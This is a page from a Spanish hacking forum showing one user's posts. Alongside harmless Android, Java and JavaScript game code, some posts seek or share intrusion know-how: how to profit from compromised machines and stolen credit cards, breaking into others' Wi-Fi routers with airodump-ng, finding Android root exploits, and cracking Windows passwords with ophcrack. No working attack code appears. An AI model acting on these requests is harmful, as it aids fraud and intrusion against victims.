Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - TickTack

#46
Hola a todos,

antes de comenzar, debo decir que nunca he tocado el lado del malware, nunca ha estado en mí el instalar malware en la computadora de alguien, tal vez simplemente no está en mi moral. Pero me encantaría discutir cuál es la mejor manera en que alguien podría obtener ganancias con los esclavos. A decir verdad: ¿qué se podría hacer a largo plazo para beneficiarse de ellos? Comprar cosas con sus tarjetas de crédito y enviarlas requeriría el alquiler del correo, pero ni siquiera a largo plazo quedaría atrapado con bastante rapidez y los artículos más caros requieren firma y más tipo de verificaciones, así que la pregunta aquí es: ¿qué harías con ellos?


Gracias y saludos
#47
Hacking Wireless / Modem Sbhacker
5 Junio 2020, 12:08 PM
Hola a todos,

¿todavía funciona eso para obtener internet gratis o hay un método mejor? Estuve fuera del juego por un tiempo y ahora regresé.


Gracias y saludos
#48
Hacking Wireless / Ayuda con router sky 5ghz
5 Junio 2020, 12:05 PM
Hola a todos,

me he metido en un router sky de 2.4 ghz, pero cuando lo intento con uno de 5 ghz, muestra que no se conecta.

También en kali lo muestra como el canal 1.

Pero en la aplicación de escáner wifi del celular lo muestra como el canal 36 (42).

Cualquiera de los que intento no puedo conectarme a él a través de los comandos airodump-ng que no lo encuentra.

¿Hay algo que me falta u otra forma de conectarse para la señal de 5ghz?


Gracias y saludos
#49
Java / Problema con una App
26 Mayo 2020, 13:14 PM

Hola a todos,
quería hacer un control de pestañas, en donde se cargue en cada pestaña un Activity con su xml.
Pero al abrir la App se me crashea, y no se por qué.
En MainActivity.java está este código:

package com.mycompany.myapp;

import android.app.*;
import android.os.*;
import android.app.TabActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.widget.TabHost;
import android.widget.Toast;

public class MainActivity extends Activity
{
   

@Override
    protected void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

TabHost tabHost = (TabHost) findViewById(android.R.id.tabhost); // initiate TabHost
        TabHost.TabSpec spec; // Reusable TabSpec for each tab
        Intent intent; // Reusable Intent for each tab

        spec = tabHost.newTabSpec("home"); // Create a new TabSpec using tab host
        spec.setIndicator("HOME"); // set the "HOME" as an indicator
        // Create an Intent to launch an Activity for the tab (to be reused)
        intent = new Intent(this, personalActivity.class);
        spec.setContent(intent);
        tabHost.addTab(spec);

        // Do the same for the other tabs

        spec = tabHost.newTabSpec("About"); // Create a new TabSpec using tab host
        spec.setIndicator("ABOUT"); // set the "ABOUT" as an indicator
        // Create an Intent to launch an Activity for the tab (to be reused)
        intent = new Intent(this, chatActivity.class);
        spec.setContent(intent);
        tabHost.addTab(spec);
        //set tab which one you want to open first time 0 or 1 or 2
        tabHost.setCurrentTab(1);
        tabHost.setOnTabChangedListener(new TabHost.OnTabChangeListener() {
@Override
public void onTabChanged(String tabId) {
// display the name of the tab whenever a tab is changed
Toast.makeText(getApplicationContext(), tabId, Toast.LENGTH_SHORT).show();
}
});

    }


}

En el respectivo main.xml está este código:

<?xml version="1.0" encoding="UTF-8"?>
<TabHost xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@android:id/tabhost"
android:layout_width="fill_parent"
android:layout_height="fill_parent">

<LinearLayout
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical">

<FrameLayout
android:id="@android:id/tabcontent"
android:layout_width="fill_parent"
android:layout_height="0dip"
android:layout_weight="1" />

<TabWidget
android:id="@android:id/tabs"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="-4dp"
android:layout_weight="0" />

</LinearLayout>

</TabHost>

También me encargue de que cada Activity, que se cargará en cada pestaña, cargue su xml.
Miren:
personalActivity.java:

package com.mycompany.myapp;

import android.app.*;
import android.os.*;
import android.widget.Spinner;
import android.widget.ArrayAdapter;
import java.util.Locale;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import android.content.res.*;
import android.content.SharedPreferences;
import android.content.Context;
import android.widget.*;
import java.security.SecureRandom;

public class personalActivity extends Activity
{
    static final String AB = "0123456789abcdefghijklmnopqrstuvwxyz";
static SecureRandom rnd = new SecureRandom();

private Spinner spinner1,citizenship, spinner3;
private EditText editText1, editText2, editText3;

@Override
    protected void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.personal);

spinner1 = (Spinner) findViewById(R.id.spinner1);
        String []opciones={getString(R.string.secreto),getString(R.string.masculino),getString(R.string.femenino)};
        ArrayAdapter <String>adapter = new ArrayAdapter<String>(this,android.R.layout.simple_spinner_item, opciones);
        spinner1.setAdapter(adapter);

Locale[] locale = Locale.getAvailableLocales();
ArrayList<String> countries = new ArrayList<String>();
String country;
for( Locale loc : locale ){
country = loc.getDisplayCountry();
if( country.length() > 0 && !countries.contains(country) ){
countries.add( country );
}
}
Collections.sort(countries, String.CASE_INSENSITIVE_ORDER);
countries.add(0, getString(R.string.secreto));
citizenship = (Spinner)findViewById(R.id.citizenship);
ArrayAdapter<String> adapter2 = new ArrayAdapter<String>(this,android.R.layout.simple_spinner_item, countries);
citizenship.setAdapter(adapter2);

List age = new ArrayList<Integer>();
for (int i = 1; i <= 100; i++) {
age.add(Integer.toString(i));
}
age.add(0, getString(R.string.secreto));
ArrayAdapter<Integer> spinnerArrayAdapter = new ArrayAdapter<Integer>(
this, android.R.layout.simple_spinner_item, age);
spinner3 = (Spinner)findViewById(R.id.age);
spinner3.setAdapter(spinnerArrayAdapter);

editText1=(EditText)findViewById(R.id.mainEditText2);
editText2=(EditText)findViewById(R.id.mainEditText3);
editText3=(EditText)findViewById(R.id.mainEditText4);

SharedPreferences prefe=getSharedPreferences("datos", Context.MODE_PRIVATE);
        if(prefe.getString("usuario","").length()==0)
{
editText1.setText("rs "+randomString(5));
}
else
{
editText1.setText(prefe.getString("usuario",""));
}
spinner1.setSelection(prefe.getInt("sexo",-1));
citizenship.setSelection(prefe.getInt("pais",-1));
editText2.setText(prefe.getString("estado",""));
editText3.setText(prefe.getString("personal",""));
spinner3.setSelection(prefe.getInt("edad",-1));

    }

@Override
protected void onStop()
{
SharedPreferences preferencias=getSharedPreferences("datos",Context.MODE_PRIVATE);
        SharedPreferences.Editor editor=preferencias.edit();
        editor.putString("usuario", editText1.getText().toString());
editor.putInt("sexo", spinner1.getSelectedItemPosition());
editor.putInt("pais", citizenship.getSelectedItemPosition());
editor.putString("estado", editText2.getText().toString());
editor.putString("personal", editText3.getText().toString());
editor.putInt("edad", spinner3.getSelectedItemPosition());
        editor.commit();
        finish();
super.onStop();
}

String randomString( int len ){
StringBuilder sb = new StringBuilder( len );
for( int i = 0; i < len; i++ )
sb.append( AB.charAt( rnd.nextInt(AB.length()) ) );
return sb.toString();
}
}

personal.xml:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hashlink:"
android:textSize="29sp"
android:id="@+id/mainTextView1"/>

<EditText
android:layout_width="wrap_content"
android:ems="12"
android:layout_height="wrap_content"
android:layout_below="@id/mainTextView1"
android:id="@+id/mainEditText1"/>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/usuario"
android:layout_below="@id/mainEditText1"
android:layout_marginTop="40dp"
android:textStyle="bold"
android:id="@+id/mainTextView2"/>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/sexo"
android:layout_below="@id/mainTextView2"
android:layout_marginTop="40dp"
android:textStyle="bold"
android:id="@+id/mainTextView3"/>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/pais"
android:layout_below="@id/mainTextView3"
android:layout_marginTop="40dp"
android:textStyle="bold"
android:id="@+id/mainTextView4"/>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/ciudad"
android:layout_below="@id/mainTextView4"
android:layout_marginTop="40dp"
android:textStyle="bold"
android:id="@+id/mainTextView5"/>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/personal"
android:layout_below="@id/mainTextView5"
android:layout_marginTop="40dp"
android:textStyle="bold"
android:id="@+id/mainTextView6"/>

<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/edad"
android:layout_below="@id/mainTextView6"
android:layout_marginTop="40dp"
android:textStyle="bold"
android:id="@+id/mainTextView7"/>

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/conectar"
android:layout_below="@id/mainTextView7"
android:layout_marginTop="50dp"
android:layout_marginLeft="120dp"/>

<EditText
android:layout_width="wrap_content"
android:ems="10"
android:layout_height="wrap_content"
android:layout_toRightOf="@id/mainTextView6"
android:layout_marginTop="110dp"
android:id="@+id/mainEditText2"/>

<Spinner
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_toRightOf="@id/mainTextView6"
android:layout_marginTop="180dp"
android:id="@+id/spinner1"/>

<Spinner
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_toRightOf="@id/mainTextView6"
android:layout_marginTop="240dp"
android:id="@+id/citizenship"/>

<EditText
android:layout_width="wrap_content"
android:ems="10"
android:layout_height="wrap_content"
android:layout_toRightOf="@id/mainTextView6"
android:layout_marginTop="285dp"
android:id="@+id/mainEditText3"/>

<EditText
android:layout_width="wrap_content"
android:ems="10"
android:layout_height="wrap_content"
android:layout_toRightOf="@id/mainTextView6"
android:layout_marginTop="342dp"
android:id="@+id/mainEditText4"/>

<Spinner
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_toRightOf="@id/mainTextView6"
android:layout_marginTop="418dp"
android:id="@+id/age"/>

</RelativeLayout>

chatActivity.java:

package com.mycompany.myapp;

import android.app.*;
import android.os.*;

public class chatActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
        setContentView(R.layout.chat);
}
}

chat.xml:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"/>

También agregue las actividades en AndroidManifest:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.mycompany.myapp" >

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".MainActivity"
            android:label="@string/app_name"
android:configChanges="locale">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
<activity
android:name=".personalActivity"
android:label="@string/title_activity_my"></activity>
<activity
android:name=".chatActivity"
android:label="@string/title_activity_about"></activity>
    </application>

</manifest>

Pero a pesar de todo esto me larga estos errores:
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               FATAL EXCEPTION: main
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               Process: com.mycompany.myapp, PID: 8924
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               java.lang.RuntimeException: Unable to start activity ComponentInfo{com.mycompany.myapp/com.mycompany.myapp.MainActivity}: java.lang.NullPointerException: Attempt to invoke virtual method 'void android.widget.TabWidget.addView(android.view.View)' on a null object reference
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2864)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2961)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.ActivityThread.-wrap11(Unknown Source:0)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1657)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.os.Handler.dispatchMessage(Handler.java:106)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.os.Looper.loop(Looper.java:165)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.ActivityThread.main(ActivityThread.java:6774)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at java.lang.reflect.Method.invoke(Native Method)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:477)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:809)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'void android.widget.TabWidget.addView(android.view.View)' on a null object reference
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.widget.TabHost.addTab(TabHost.java:234)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at com.mycompany.myapp.MainActivity.onCreate(MainActivity.java:32)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.Activity.performCreate(Activity.java:7154)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.Activity.performCreate(Activity.java:7145)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1225)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2817)
05-26 13:10:55.501 8924 8924 E     AndroidRuntime                               ... 9

Alguien me puede ayudar, por favor?

Gracias y saludos
#50
Criptografía / Datos ocultos en la imagen
11 Mayo 2020, 12:31 PM
Hola a todos,

recientemente terminé un juego llamado

CitarWhen the darkness comes

, gran juego.

Cuando lo terminé, me dio una imagen y un archivo de texto. Mi amigo abusó mucho de la imagen y no encontró nada. Primero intenté extraer la información EXIF pero no había nada. Yo, como programador, pensé que podría haber algo en el mismo texto (el texto que hace que la imagen sea un archivo jpg) y probé todo tipo de cosas; intenté imprimir solo los caracteres en inglés, intenté imprimir todos los caracteres que no están en inglés (traduje algunos y había algo de mandarín y japonés) pero mi editor de texto no pudo hacerlo, solo imprimió cuadrados con signos de interrogación.

Creo que el archivo de texto es la clave para el cifrado de la imagen.

¿Cómo puedo descifrar la imagen?

Por cierto, no sé lo importante que es esto, pero este fue el archivo de texto:

CitarWe are but dust and shadows. - MyComputer'sName

(El nombre del archivo es de ustedes).


Gracias y saludos
#51
Hola a todos,

recuerdo que hay una película (¿morir duro? supongo) en el que un hacker toma el teléfono celular de la policía, envía algunos sms y luego devuelve ese teléfono con piratería de uso ilimitado. ¿Es esto real? ¿Cómo la hacen? (No lo haré yo mismo, me pareció interesante aprenderlo).


Gracias y saludos
#52
Hola a todos,

¿cómo puedo encontrar un exploit de escalada de privilegios de root en Android?

¿Se puede hacer eso con Java?


Gracias y saludos
#53
Hola a todos,

hay una gran herramienta que se conoce como ophcrack que se puede usar para romper contraseñas de Windows. En realidad, es un ISO que se puede iniciar con la ayuda de usb o cd. Encuentra automáticamente el archivo SAM de Windows que almacena la contraseña. Sin embargo, algunos controladores de Windows, incluido el mouse, no son compatibles, por lo que debes arreglartelas con el teclado.

Código fuente para más información al respecto:
https://ophcrack.sourceforge.io/


Saludos
#54
Hola a todos,

¿alguien sabe de alguna alternativa a Google Drive en la dark web? Estoy tratando de almacenar archivos de forma segura y remota.


Gracias y saludos
#55
Java / Traducir este código de C# a Java
22 Abril 2020, 14:51 PM
Hola a todos,

¿alguien me puede ayudar, por favor, a traducir este pequeño código de C# a Java?


public static byte[] Decompress(byte[] data)
        {
            try
            {
                byte[] r = null;

                using (MemoryStream ms = new MemoryStream(data))
                using (Stream s = new InflaterInputStream(ms))
                {
                    List<byte> list = new List<byte>();
                    int count = 0;
                    byte[] b = new byte[8192];

                    while ((count = s.Read(b, 0, 8192)) > 0)
                        list.AddRange(b.Take(count));

                    r = list.ToArray();
                    list.Clear();
                    list = null;
                }

                return r;
            }
            catch { }

            return new byte[] { };
        }

En especial, no se cómo programar estás dos líneas con Java:

using (MemoryStream ms = new MemoryStream(data))
using (Stream s = new InflaterInputStream(ms))

Ya que en Java reemplazo el using por el try. Pero no funciona si lo hago dos veces en este caso.


Gracias y saludos
#56
Hola a todos,

¿dónde puedo conseguir un número virtual para Whatsapp gratis?


Gracias y saludos
#57
Hola a todos,

aquí hay otra vez un javascript del usuario "Totalmente automático" (muchas gracias!). Se trata de un generador Sudoku, en el cual ustedes mismos podrán elegir el grado de dificultad.

En breve la explicación del juego para todos quienes todavía no lo conocen.

El objetivo del Sodoku es ubicar los números del 1 al 9 tanto verticalmente como también horizontalmente como también dentro de los bloques 3x3 correspondientes de tal manera que en cada fila, en cada columna y en cada bloque esos números respectivamente figuren solo una vez.

Si se ha logrado esto, el Sodoku esta solucionado.

Pues bien, que se diviertan desvanandose los sesos en el Sodoku :)

Código:

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// (c) Copyright by Totalmente automatico 2007
///////
var estadoSudoku = 1; // Ingresar aqui si el sudoku debe imprimirse completamente (3) o solamente condicionado (1)
///////


// Sry, ni idea de donde tengo el segmento hasta ***... :-|
// --> Google tiene la culpa...
function arrayShuffle(){
  var tmp, borde;
  for(var i =0; i < this.length; i++)
  {
    borde = Math.floor(Math.random() * this.length);
    tmp = this[i];
    this[i] = this[borde];
    this[borde] =tmp;
  }
}
Array.prototype.shuffle = arrayShuffle;
// ********


function sudoku_reset() {
for (var i = 1; i <= 81; i++) {
document.getElementById('celdaSudoku'+i).value = "";
}
}

function generar_sudoku ()
   {
   var campos = new Array();
sudoku_reset();
   
    var cola = new Array(1,2,3,4,5,6,7,8,9);
    cola.shuffle();
     for (var i = 1; i <= 81; i++)
     {
       campos[i-1] = cola[(i-1)%9];
       if (i %9 == 0) { var camino1 = cola[0]; var camino2 = cola[1]; var camino3 = cola[2]; cola.shift(); cola.shift(); cola.shift(); cola[6] = camino1; cola[7] = camino2; cola[8] = camino3; }
       if (i %27 == 0) { var camino = cola[0]; cola.shift(); cola[8] = camino; }
     }

     for (var cantidad = 0; cantidad < 400; cantidad++)   // 400 colas sustituidas!
     {
       if (Math.random() >= 0.333)
       {
       var betr_cola_1 = parseInt(Math.random() * 9);
       if (betr_cola_1 == 0) {   if (Math.random() > 0.5) { betr_cola_2 = 1; } else { betr_cola_2 = 2; }   }
       if (betr_cola_1 == 1) {   if (Math.random() > 0.5) { betr_cola_2 = 0; } else { betr_cola_2 = 2; }   }
       if (betr_cola_1 == 2) {   if (Math.random() > 0.5) { betr_cola_2 = 1; } else { betr_cola_2 = 0; }   }
       if (betr_cola_1 == 3) {   if (Math.random() > 0.5) { betr_cola_2 = 4; } else { betr_cola_2 = 5; }   }
       if (betr_cola_1 == 4) {   if (Math.random() > 0.5) { betr_cola_2 = 3; } else { betr_cola_2 = 5; }   }
       if (betr_cola_1 == 5) {   if (Math.random() > 0.5) { betr_cola_2 = 4; } else { betr_cola_2 = 3; }   }
       if (betr_cola_1 == 6) {   if (Math.random() > 0.5) { betr_cola_2 = 7; } else { betr_cola_2 = 8; }   }
       if (betr_cola_1 == 7) {   if (Math.random() > 0.5) { betr_cola_2 = 6; } else { betr_cola_2 = 8; }   }
       if (betr_cola_1 == 8) {   if (Math.random() > 0.5) { betr_cola_2 = 7; } else { betr_cola_2 = 6; }   }
       var entre = new Array();

         for (var i = 0; i <= 8; i++) { entre[i] = campos[betr_cola_1 * 9 + i]; }
         for (var i = 0; i <= 8; i++) { campos[betr_cola_1 * 9 + i] = campos[betr_cola_2 * 9 + i]; }
         for (var i = 0; i <= 8; i++) { campos[betr_cola_2 * 9 + i] = entre[i]; }
       }

       else if (Math.random() >= 0.666)
       {
       var betr_columna_1 = parseInt(Math.random() * 9);
       if (betr_columna_1 == 0) {   if (Math.random() > 0.5) { betr_columna_2 = 1; } else { betr_columna_2 = 2; }   }
       if (betr_columna_1 == 1) {   if (Math.random() > 0.5) { betr_columna_2 = 0; } else { betr_columna_2 = 2; }   }
       if (betr_columna_1 == 2) {   if (Math.random() > 0.5) { betr_columna_2 = 1; } else { betr_columna_2 = 0; }   }
       if (betr_columna_1 == 3) {   if (Math.random() > 0.5) { betr_columna_2 = 4; } else { betr_columna_2 = 5; }   }
       if (betr_columna_1 == 4) {   if (Math.random() > 0.5) { betr_columna_2 = 3; } else { betr_columna_2 = 5; }   }
       if (betr_columna_1 == 5) {   if (Math.random() > 0.5) { betr_columna_2 = 4; } else { betr_columna_2 = 3; }   }
       if (betr_columna_1 == 6) {   if (Math.random() > 0.5) { betr_columna_2 = 7; } else { betr_columna_2 = 8; }   }
       if (betr_columna_1 == 7) {   if (Math.random() > 0.5) { betr_columna_2 = 6; } else { betr_columna_2 = 8; }   }
       if (betr_columna_1 == 8) {   if (Math.random() > 0.5) { betr_columna_2 = 7; } else { betr_columna_2 = 6; }   }
       var entre = new Array();

         for (var i = 0; i <= 8; i++) { entre[i] = campos[betr_columna_1 + i * 9]; }
         for (var i = 0; i <= 8; i++) { campos[betr_columna_1 + i * 9] = campos[betr_columna_2 + i * 9]; }
         for (var i = 0; i <= 8; i++) { campos[betr_columna_2 + i * 9] = entre[i]; }
       }

       else
       {
       var betr_cola_bloque_1 = parseInt(Math.random() * 3);
       if (betr_cola_bloque_1 == 0) {   if (Math.random() > 0.5) { betr_cola_bloque_2 = 1; } else { betr_cola_bloque_2 = 2; }   }
       if (betr_cola_bloque_1 == 1) {   if (Math.random() > 0.5) { betr_cola_bloque_2 = 0; } else { betr_cola_bloque_2 = 2; }   }
       if (betr_cola_bloque_1 == 2) {   if (Math.random() > 0.5) { betr_cola_bloque_2 = 0; } else { betr_cola_bloque_2 = 1; }   }
       var entre = new Array();

         for (var i = 0; i <= 26; i++) { entre[i] = campos[betr_cola_bloque_1 * 27 + i]; }
         for (var i = 0; i <= 26; i++) { campos[betr_cola_bloque_1 * 27 + i] = campos[betr_cola_bloque_2 * 27 + i]; }
         for (var i = 0; i <= 26; i++) { campos[betr_cola_bloque_2 * 27 + i] = entre[i]; }
       }
     }

     if (document.getElementById('difiSudoku0').checked == true) { number = 36; }
     if (document.getElementById('difiSudoku1').checked == true) { number = 30; }
     if (document.getElementById('difiSudoku2').checked == true) { number = 26; }
     if (document.getElementById('difiSudoku3').checked == true) { number = 22; }
     var cuales = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81);
     cuales.shuffle();
     estado = document.getElementById('estadoSudoku').value;
   for (var i = 0; i < number*estado; i++)
   {
for (var k = 1; k <= 81; k++) {
if (cuales[0] == k) document.getElementById('celdaSudoku'+k).value = campos[k-1];
}
  cuales.shift();
   }
   for (var i = 1; i <= 81; i++) {
document.getElementById('celdaSudoku'+i+'_hid').value = campos[i-1];
   }
}

function resolver ()
{
for (var i = 1; i <= 81; i++) {
document.getElementById('celdaSudoku'+i).value = document.getElementById('celdaSudoku'+i+'_hid').value;
}
}

function sudokuInit() {
document.write('<input type="hidden" name="estadoSudoku" id="estadoSudoku" value="1" />');
document.write('<h3 style="display: inline;">Tu propio Sudoku</h3>');
document.write('<br />');
document.write('<fieldset>');
document.write('<legend>Generador Sudoku</legend>');
document.write('<br />');
document.getElementById('estadoSudoku').value = 1;

document.write("<style type='text/css'>");
document.write(".input { border: 1px solid #000000; width: 25px; height: 25px; text-align: center; font-family: Arial; font-weight: bold; }");
document.write("fieldset { width: 50%; padding: 10px; float: center; margin-left: auto; margin-right: auto; }");
document.write("</style>");
for (var j = 1; j <= 1; j++)
{
for (var i = 1; i <= 81; i++)
{
document.write("<input type='text' name='celdaSudoku"+i+"' id='celdaSudoku"+i+"' maxlength='1' style='overflow: hidden' class='input'> ");
if (i %3 == 0){ document.write("    "); }
if ( (i %9 == 0) && (i != 81) ){ document.write("<br />"); }
if (i %27 == 0) { document.write("<br />"); }
}
}
for (var i = 1; i <= 81; i++)
{
document.write("<input type='hidden' name='celdaSudoku"+i+"_hid' id='celdaSudoku"+i+"_hid' />");
}

document.write('<input type="radio" name="difi" id="difiSudoku0" checked="checked" /> <b>*</b>   ');
document.write('<input type="radio" name="difi" id="difiSudoku1" /> <b>**</b>   ');
document.write('<input type="radio" name="difi" id="difiSudoku2" /> <b>***</b>   ');
document.write('<input type="radio" name="difi" id="difiSudoku3" /> <b>****</b>');
document.write('<br /><br />');
document.write('<button onclick="generar_sudoku();">Generar</button>');
document.write('   ');
document.write('<button onclick="sudoku_reset();">Desechar</button>');
document.write('   ');
document.write('<button onclick="resolver();">Resolver</button>');
document.write('</fieldset>');
}
//-->
</script>
<script type="text/javascript">sudokuInit();</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web:
https://drive.google.com/open?id=1LKzs8_a1B0JiVA76r3RjjUT24Nqd3RBr

Autor: Totalmente automático

Saludos
#58
Desarrollo Web / Lights Out 2
19 Octubre 2019, 10:50 AM
Hola a todos,

del usuario "totalmente automático" viene esta versión del juego Lights Out.

El objetivo del juego es que también aquí se clickee los campos de tal manera que al final no quede ningún gancho más.

En contraste con la otra versión del juego, aquí existe ahora la posibilidad de poner los campos aleatoriamente al principio. Además se integro una vía de solución que les muestra cómo resolver la constelación actual en el juego.

Con vía de solución solamente se tiene la mitad de la diversión pero ella muestra que no es imposible resolver la tarea  ;). Que se diviertan con eso!

Código:

<!DOCTYPE html>
<html>
<head>
 <title>Ejemplo de javascript</title>
 <meta charset="UTF-8">
</head>
<body>
<!-- präsentiert von kostenlose-javascripts.de -->
<script type='text/javascript'>
<!--
// (C)opyright by Vollautomatisch June 4 2007

   function arrayShuffle()
 {
   var tmp, borde;
   for(var i =0; i < this.length; i++)
   {
     borde = Math.floor(Math.random() * this.length);
     tmp = this[i];
     this[i] = this[borde];
     this[borde] =tmp;
   }
 }
 Array.prototype.shuffle = arrayShuffle;

 function validate (uno, dos, tres, cuatro)
 {
   if (document.getElementById('campo_' + uno).checked == true)
   {
     if (document.getElementById('campo_' + dos).checked == true)
     {
       if (document.getElementById('campo_' + tres).checked == true)
       {
         if (document.getElementById('campo_' + cuatro).checked == true)
         {
           return true;
         }
       }
     }
   }
   return false;
 }

 function solve ()
 {
   var viejo = new Array();
   for (var i = 1; i < 26; i++)
   {
     viejo[i-1] = document.getElementById('campo_' + i).checked == true;
   }
   var draws = new Array();
   var numero = 0;
   for (var i = 1; i < 21; i++)
   {
     if (document.getElementById('campo_' + i).checked == true)  { draws[numero] = (i + 5); numero++; cambia(i + 5); lightsOut(i + 5); }
   }
   if (document.getElementById('campo_21').checked == true)  { draws[numero] = 4; numero++; cambia(4); lightsOut(4); draws[numero] = 5; numero++; cambia(5); lightsOut(5); }
   if (document.getElementById('campo_22').checked == true)  { draws[numero] = 2; cambia(2); lightsOut(2); numero++; draws[numero] = 5; numero++; cambia(5); lightsOut(5); }
   if (document.getElementById('campo_23').checked == true)  { draws[numero] = 4; numero++; cambia(4); lightsOut(4); }
   for (var i = 1; i < 21; i++)
   {
     if (document.getElementById('campo_' + i).checked == true)  { draws[numero] = (i + 5); numero++; cambia(i + 5); lightsOut(i + 5); }
   }

   if (validate(16, 16, 21, 22) == true)  { draws[numero] = 21; numero++; cambia(21); lightsOut(21); }
   else if (validate(20, 20, 24, 25) == true)  { draws[numero] = 25; numero++; cambia(25); lightsOut(25); }
   else if (validate(17, 21, 22, 23) == true)  { draws[numero] = 22; numero++; cambia(22); lightsOut(22); }
   else if (validate(18, 22, 23, 24) == true)  { draws[numero] = 23; numero++; cambia(23); lightsOut(23); }
   else if (validate(19, 23, 24, 25) == true)  { draws[numero] = 24; numero++; cambia(24); lightsOut(24); }
   else if (validate(17, 17, 21, 22) == true && validate(19, 19, 24, 25) == true)  { draws[numero] = 22; numero++; cambia(22); lightsOut(22); draws[numero] = 24; numero++; cambia(24); lightsOut(24); }

   for (var i = 1; i < 26; i++)
   {
     if (viejo[i-1] == true)  { document.getElementById('campo_' + i).checked = true; }
     if (viejo[i-1] == false)  { document.getElementById('campo_' + i).checked = false; }
   }

   var copy = new Array();
   for (var i = 0; i < draws.length; i++)
   {
   cut = draws[i];
     if (cut == 1)  { copy[i] = 'A1'; }
     else if (cut == 2)  { copy[i] = 'B1'; }
     else if (cut == 3)  { copy[i] = 'C1'; }
     else if (cut == 4)  { copy[i] = 'D1'; }
     else if (cut == 5)  { copy[i] = 'E1'; }
     else if (cut == 6)  { copy[i] = 'A2'; }
     else if (cut == 7)  { copy[i] = 'B2'; }
     else if (cut == 8)  { copy[i] = 'C2'; }
     else if (cut == 9)  { copy[i] = 'D2'; }
     else if (cut == 10)  { copy[i] = 'E2'; }
     else if (cut == 11)  { copy[i] = 'A3'; }
     else if (cut == 12)  { copy[i] = 'B3'; }
     else if (cut == 13)  { copy[i] = 'C3'; }
     else if (cut == 14)  { copy[i] = 'D3'; }
     else if (cut == 15)  { copy[i] = 'E3'; }
     else if (cut == 16)  { copy[i] = 'A4'; }
     else if (cut == 17)  { copy[i] = 'B4'; }
     else if (cut == 18)  { copy[i] = 'C4'; }
     else if (cut == 19)  { copy[i] = 'D4'; }
     else if (cut == 20)  { copy[i] = 'E4'; }
     else if (cut == 21)  { copy[i] = 'A5'; }
     else if (cut == 22)  { copy[i] = 'B5'; }
